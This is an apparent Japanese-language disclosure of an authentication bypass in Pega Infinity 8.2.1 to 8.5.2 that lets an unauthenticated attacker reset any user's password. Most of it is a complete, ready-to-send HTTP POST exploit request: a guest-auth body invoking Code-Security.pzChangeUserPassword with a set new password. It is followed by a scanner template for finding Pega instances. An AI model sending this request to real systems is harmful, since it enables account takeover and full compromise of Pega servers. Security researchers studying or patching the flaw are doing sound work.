
パスワードリセットフローのすべての段階をバイパスする
攻撃者は、パスワードリセットフローのすべての段階をバイパスして、Pega Infinity 上の任意のユーザーのアカウントをリセットできます。これは、(1) パスワードリセットフローを開始して被害者のメールアドレスを入力し、(2) HTTP POST リクエストを強制的に通過させてパスワードを更新させることで行われます。攻撃者は、新しく編集されたアカウントを使用してログインし、多くの許容された認証後コード実行ベクター(動的ページの変更、テンプレートなど)を介して Pega インスタンスを完全に侵害できます。
POST /prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD HTTP/1.1 (:PEGA_ID is a unique ID for each site, it is in this format: ZOgwf2Zk3OsEg_oG74MXXxG2bXKbv56W)
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Origin: https://redacted.com
DNT: 1
Connection: close
Referer: https://redacted.com/prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD
Cookie: yourCookie
Upgrade-Insecure-Requests: 1
pzAuth=guest&NewPassword=Rules%401234&ConfPassword=Rules%401234&pyActivity%3DCode-Security.pzChangeUserPassword=
[email protected] / Rules@1234
Pega Infinity >= 8.2.1 Pega Infinity <= 8.5.2
事前知識なしで、任意の Pega インスタンスを完全に侵害できます。


id: pega
info:
name: Pega Infinity Login
author: sshell
severity: low
requests:
- method: GET
path:
- "{{BaseURL}}/prweb/PRRestService/unauthenticatedAPI/v1/docs"
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
matchers:
- type: word
words:
- "Pega API"
Andri Wijayanti (@andridev_),